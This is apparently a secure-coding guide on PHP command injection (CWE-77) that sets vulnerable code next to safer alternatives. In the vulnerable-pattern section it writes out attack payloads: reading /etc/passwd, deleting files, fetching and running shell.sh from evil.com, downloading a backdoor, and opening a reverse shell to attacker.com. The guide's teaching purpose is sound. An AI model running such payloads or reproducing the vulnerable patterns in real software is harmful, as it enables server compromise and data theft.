Skip to content

CWE-77: Command Injection - PHP

Overview

Command injection in PHP occurs when applications construct system commands using untrusted input. PHP provides multiple functions that can execute shell commands, all of which are vulnerable when used with unsanitized user input.

Primary Defence: Avoid shell execution functions (system(), exec(), shell_exec(), backticks) entirely; use PHP built-in functions or libraries for specific tasks instead, if shell execution is unavoidable use escapeshellarg() and escapeshellcmd() properly for each argument, validate all user input against strict allowlists, and use proc_open() with explicit argument arrays to prevent command injection attacks.

Common Vulnerable Patterns

system() with User Input

<?php
// VULNERABLE - system() executes via shell
$ip = $_GET['ip'];
system('ping -c 4 ' . $ip);

// Attack: ip=8.8.8.8; cat /etc/passwd
// Executes: ping -c 4 8.8.8.8; cat /etc/passwd

exec() with String Concatenation

<?php
// VULNERABLE - exec() uses shell
$filename = $_POST['file'];
exec('ls -la ' . $filename, $output);

// Attack: file=test.txt && rm -rf /tmp/*
// Executes: ls -la test.txt && rm -rf /tmp/*

shell_exec() with User Data

<?php
// VULNERABLE - shell_exec() always uses shell
$domain = $_REQUEST['domain'];
$result = shell_exec('nslookup ' . $domain);

// Attack: domain=example.com || whoami
// Executes: nslookup example.com || whoami

Backtick Operator

<?php
// VULNERABLE - Backticks invoke shell
$host = $_GET['host'];
$output = `ping -c 4 $host`;

// Attack: host=8.8.8.8; curl http://evil.com/shell.sh | bash

passthru() Function

<?php
// VULNERABLE - passthru() executes and outputs directly
$file = $_POST['file'];
passthru('cat ' . $file);

// Attack: file=/etc/passwd; wget http://evil.com/backdoor

popen() Function

<?php
// VULNERABLE - popen() opens process with shell
$command = $_GET['cmd'];
$handle = popen('echo ' . $command, 'r');

// Attack: cmd=test && nc -e /bin/bash attacker.com 1234

Secure Patterns

Use PHP Native Functions (Primary Defense)

<?php
// SECURE - Use PHP built-in functions instead of shell commands

// Instead of: system('ping ' . $host)
function isHostReachable($hostname) {
    // Validate hostname
    if (!preg_match('/^[a-zA-Z0-9.-]+$/', $hostname)) {
        throw new InvalidArgumentException('Invalid hostname');
    }

    // Use PHP socket functions
    $socket = @fsockopen($hostname, 80, $errno, $errstr, 5);
    if ($socket) {
        fclose($socket);
        return true;
    }
    return false;
}

// Instead of: exec('rm ' . $file)
function deleteFile($filename) {
    // Validate filename
    if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $filename)) {
        throw new InvalidArgumentException('Invalid filename');
    }

    $safePath = '/safe/directory/' . basename($filename);

    // Ensure file is within safe directory
    $realPath = realpath($safePath);
    if (strpos($realPath, '/safe/directory/') !== 0) {
        throw new InvalidArgumentException('Path traversal attempt');
    }

    unlink($safePath);
}

// Instead of: shell_exec('curl ' . $url)
function fetchUrl($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

    $result = curl_exec($ch);
    curl_close($ch);

    return $result;
}

// Instead of: exec('tar -czf archive.tar.gz ' . $files)
function createArchive($files) {
    $zip = new ZipArchive();
    $zip->open('archive.zip', ZipArchive::CREATE);

    foreach ($files as $file) {
        // Validate each filename
        if (!preg_match('/^[a-zA-Z0-9_./-]+$/', $file)) {
            continue;
        }
        $zip->addFile($file, basename($file));
    }

    $zip->close();
}

Why this works:

  • Native PHP functions eliminate shell execution: fsockopen() creates TCP connections, unlink() uses syscalls, curl_exec() uses libcurl, ZipArchive uses zlib
  • No attack surface for shell metacharacters: Bypassing shell removes risk of ;, &, |, backticks, $(), newlines
  • Regex validation provides defense-in-depth: Pattern blocks command separators and path traversal
  • basename() + path sanitization prevents traversal: realpath() + prefix check ensures files stay in /safe/directory/
  • Path canonicalization resolves symlinks: realpath() resolves .. sequences and symlinks before validation
  • Built-in extensions are maintained and cross-platform: Avoids shell-specific escaping differences across bash/sh/dash/zsh and Linux/Windows

escapeshellarg() and escapeshellcmd()

<?php
// SECURE - Use escapeshellarg() for arguments
function securePing($ipAddress) {
    // Validate IP address format first
    if (!filter_var($ipAddress, FILTER_VALIDATE_IP)) {
        throw new InvalidArgumentException('Invalid IP address');
    }

    // Escape the argument
    $safeIP = escapeshellarg($ipAddress);

    // Execute command
    $output = [];
    exec("ping -c 4 $safeIP", $output, $returnCode);

    return $output;
}

function secureNslookup($domain) {
    // Validate domain format
    if (!preg_match('/^[a-zA-Z0-9.-]+$/', $domain)) {
        throw new InvalidArgumentException('Invalid domain');
    }

    // Escape the argument
    $safeDomain = escapeshellarg($domain);

    // Execute with escaped argument
    $result = shell_exec("nslookup $safeDomain");
    return $result;
}

// WARNING: escapeshellcmd() is NOT sufficient alone
// It escapes the entire command string but may not prevent all injections
// Always prefer escapeshellarg() for individual arguments

Why this works:

  • escapeshellarg() makes arguments literal: Wraps in single quotes, escapes embedded quotes, neutralizes ;, &, |, $(), backticks
  • Pre-validation provides defense-in-depth: filter_var() and regex reject invalid input before escaping
  • escapeshellcmd() is insufficient: Only escapes metacharacters but allows argument injection (e.g., -oProxyCommand=...)
  • Always use escapeshellarg() per argument: Never use escapeshellcmd() for entire command string
  • Native functions strongly preferred: Escaping is error-prone due to encoding issues, shell quirks, future vulnerabilities

Input Validation Class

<?php
// SECURE - Comprehensive validation
class InputValidator {
    public static function validateHostname($input) {
        if (empty($input) || strlen($input) > 253) {
            throw new InvalidArgumentException('Invalid hostname length');
        }

        if (!preg_match('/^[a-zA-Z0-9.-]+$/', $input)) {
            throw new InvalidArgumentException('Invalid hostname format');
        }

        return $input;
    }

    public static function validateIPAddress($input) {
        if (!filter_var($input, FILTER_VALIDATE_IP)) {
            throw new InvalidArgumentException('Invalid IP address');
        }

        return $input;
    }

    public static function validateFilename($input) {
        if (empty($input)) {
            throw new InvalidArgumentException('Empty filename');
        }

        // Check for path traversal
        if (strpos($input, '..') !== false || 
            strpos($input, '/') !== false || 
            strpos($input, '\\') !== false) {
            throw new InvalidArgumentException('Path traversal attempt');
        }

        if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $input)) {
            throw new InvalidArgumentException('Invalid filename format');
        }

        return $input;
    }

    public static function validateNumber($input) {
        if (!preg_match('/^[0-9]+$/', $input)) {
            throw new InvalidArgumentException('Invalid number format');
        }

        return intval($input);
    }
}

Why this works:

  • Centralized validation ensures consistency: All code paths enforce same strict rules, preventing weak validation
  • Allowlist regex blocks all metacharacters: ^[a-zA-Z0-9.-]+$ permits only safe characters
  • filter_var() handles IP edge cases: Correctly validates IPv4, IPv6, leading zeros, octal notation
  • Path traversal detection: Checks for .., /, \ prevent directory traversal attacks
  • Length limits prevent buffer overflow/DoS: Hostname ≤ 253 chars per RFC 1035
  • Fail-closed behavior: Exceptions reject suspicious input rather than attempting error-prone sanitization

proc_open() with Explicit Arguments

<?php
// SECURE - proc_open() with argument array
function executeCommandSafely($command, $args) {
    // Allowlist of permitted commands
    $allowedCommands = [
        'ping' => '/bin/ping',
        'nslookup' => '/usr/bin/nslookup',
        'dig' => '/usr/bin/dig'
    ];

    if (!isset($allowedCommands[$command])) {
        throw new InvalidArgumentException('Command not allowed');
    }

    // Build command array
    $cmd = [$allowedCommands[$command]];
    foreach ($args as $arg) {
        $cmd[] = $arg;
    }

    // Descriptors for stdin, stdout, stderr
    $descriptors = [
        0 => ['pipe', 'r'],  // stdin
        1 => ['pipe', 'w'],  // stdout
        2 => ['pipe', 'w']   // stderr
    ];

    // Execute without shell
    $process = proc_open($cmd, $descriptors, $pipes);

    if (!is_resource($process)) {
        throw new RuntimeException('Failed to start process');
    }

    // Close stdin
    fclose($pipes[0]);

    // Read stdout
    $output = stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // Read stderr
    $errors = stream_get_contents($pipes[2]);
    fclose($pipes[2]);

    // Close process
    $returnCode = proc_close($process);

    return [
        'output' => $output,
        'errors' => $errors,
        'returnCode' => $returnCode
    ];
}

// Usage:
try {
    $ip = InputValidator::validateIPAddress($_GET['ip']);
    $result = executeCommandSafely('ping', ['-c', '4', $ip]);
    echo $result['output'];
} catch (Exception $e) {
    http_response_code(400);
    echo 'Error: ' . htmlspecialchars($e->getMessage());
}

Why this works:

  • Array bypasses shell: proc_open() with array (not string) invokes executable directly via fork()/exec() - shell metacharacters (;, &, |, $()) treated as literals
  • Command allowlist: $allowedCommands restricts to pre-approved binaries with absolute paths (/bin/ping), preventing PATH manipulation
  • Descriptor configuration: $descriptors redirects stdin/stdout/stderr to pipes for safe capture without shell redirection (>, 2>&1)
  • Stream safety: stream_get_contents($pipes[1]) captures output without memory exhaustion risk; error separation enables logging without info disclosure
  • Superior to shell functions: system()/exec()/shell_exec() always invoke shell, making them inherently vulnerable even with escaping

File Operations

<?php
// VULNERABLE
$file = $_POST['file'];
system('cat ' . $file);

// SECURE - Use PHP file functions
function readFileSafely($filename) {
    $filename = InputValidator::validateFilename($filename);

    $safePath = '/safe/directory/' . $filename;
    $realPath = realpath($safePath);

    // Verify path is within safe directory
    if (strpos($realPath, '/safe/directory/') !== 0) {
        throw new InvalidArgumentException('Invalid file path');
    }

    return file_get_contents($safePath);
}

Why this works:

  • file_get_contents() operates at filesystem API level: No shell invocation, no metacharacter interpretation
  • basename() strips directory components: Prevents ../../etc/passwd path traversal attacks
  • realpath() canonicalizes paths: Resolves symlinks, ., .. sequences to absolute path
  • Prefix check ensures directory containment: Validates final path stays in /safe/directory/ after symlink resolution
  • Input validation provides defense-in-depth: Rejects filenames with path separators or traversal sequences
  • Safer than shell commands: Avoids escaping complexity and special filename handling (e.g., - interpreted as flags)

Image Processing

<?php
// VULNERABLE
$image = $_FILES['image']['tmp_name'];
exec('convert ' . $image . ' thumbnail.jpg');

// SECURE - Use GD or Imagick extension
function createThumbnail($imagePath) {
    // Validate image
    $imageInfo = getimagesize($imagePath);
    if ($imageInfo === false) {
        throw new InvalidArgumentException('Invalid image');
    }

    // Create thumbnail using GD
    $source = imagecreatefromjpeg($imagePath);
    $thumbnail = imagescale($source, 128, 128);
    imagejpeg($thumbnail, 'thumbnail.jpg');

    imagedestroy($source);
    imagedestroy($thumbnail);
}

Why this works:

  • GD and Imagick process images via native C libraries: Operations happen in memory through function calls, not shell commands
  • getimagesize() validates legitimate images: Parses headers, rejects non-image files with potential shell payloads
  • imagecreatefromjpeg() uses libjpeg: Image decoding has no concept of shell syntax
  • imagescale() performs pixel resampling: Mathematical operations on image array, not external program invocation
  • Avoids ImageMagick CLI vulnerabilities: ImageTragick (CVE-2016-3714) showed risks of shell-based image processing
  • Resource cleanup prevents exhaustion: imagedestroy() frees memory properly

Network Operations

<?php
// VULNERABLE
$host = $_GET['host'];
exec('curl https://' . $host . '/api');

// SECURE - Use cURL extension
function fetchApiData($hostname) {
    $hostname = InputValidator::validateHostname($hostname);

    $url = 'https://' . $hostname . '/api';

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_SSL_VERIFYPEER => true
    ]);

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpCode !== 200) {
        throw new RuntimeException('HTTP request failed');
    }

    return $result;
}

Why this works:

  • No shell invocation: libcurl uses direct socket connections - URL parsed programmatically, so shell metacharacters have no special meaning
  • Data parameter: curl_init() treats URL as data (not command string); options configure behavior without shell interpretation
  • Security options: RETURNTRANSFER captures in memory; TIMEOUT prevents hangs; FOLLOWLOCATION = false blocks redirects to internal services; SSL_VERIFYPEER prevents MitM
  • SSRF prevention: Hostname validation enforces allowed domains, blocking requests to internal services (Redis at localhost:6379) or cloud metadata (169.254.169.254)
  • Safer than shell curl: Eliminates risks from -o flag (arbitrary file writes like /var/www/html/backdoor.php) and --data-binary @ (file exfiltration)

Archive Creation

<?php
// VULNERABLE
$files = $_POST['files'];
shell_exec('zip archive.zip ' . $files);

// SECURE - Use ZipArchive class
function createZipArchive($fileList) {
    $zip = new ZipArchive();

    if ($zip->open('archive.zip', ZipArchive::CREATE) !== true) {
        throw new RuntimeException('Failed to create archive');
    }

    foreach ($fileList as $file) {
        $safeName = InputValidator::validateFilename($file);

        if (file_exists($safeName)) {
            $zip->addFile($safeName, basename($safeName));
        }
    }

    $zip->close();
}

Why this works:

  • No shell invocation: ZipArchive uses libzip library directly - shell metacharacters in filenames treated as literals, not command syntax
  • Per-file validation: Foreach loop allows InputValidator::validateFilename() to reject path traversal (../../etc/passwd) or special characters
  • Zip slip prevention: basename() ensures files stored in archive root without directory structure, preventing extraction outside intended directory
  • Safety verification: file_exists() prevents errors and information disclosure about filesystem structure
  • Dramatically safer: Avoids shell-based zip/tar vulnerabilities (argument injection, filename exploitation with - flags, command chaining)

Laravel Framework Example

<?php
// VULNERABLE Laravel controller
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DiagnosticsController extends Controller
{
    public function ping(Request $request)
    {
        // VULNERABLE
        $ip = $request->input('ip');
        $output = shell_exec('ping -c 4 ' . $ip);
        return response($output);
    }
}

// SECURE Laravel controller
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;

class DiagnosticsController extends Controller
{
    public function ping(Request $request)
    {
        // Validate input
        $request->validate([
            'ip' => 'required|ip'
        ]);

        $ip = $request->input('ip');

        // Use Symfony Process component (included with Laravel)
        $process = new Process(['ping', '-c', '4', $ip]);
        $process->setTimeout(10);

        try {
            $process->mustRun();
            return response($process->getOutput());
        } catch (ProcessFailedException $e) {
            return response('Ping failed', 500);
        }
    }
}

WordPress Plugin Example

<?php
// VULNERABLE WordPress code
add_action('admin_post_run_diagnostic', function() {
    $host = $_POST['host'];
    $result = shell_exec('ping -c 4 ' . $host);
    echo $result;
});

// SECURE WordPress code
add_action('admin_post_run_diagnostic', function() {
    // Verify nonce
    check_admin_referer('diagnostic_nonce');

    // Sanitize and validate
    $host = sanitize_text_field($_POST['host']);

    if (!filter_var($host, FILTER_VALIDATE_IP)) {
        wp_die('Invalid IP address');
    }

    // Use validated input with escapeshellarg
    $safeHost = escapeshellarg($host);
    $output = [];
    exec("ping -c 4 $safeHost", $output);

    echo esc_html(implode("\n", $output));
});

Verification

After implementing the recommended secure patterns, verify the fix through multiple approaches:

  • Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
  • Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
  • Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
  • Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
  • Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
  • Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
  • Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
  • Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced

Additional Resources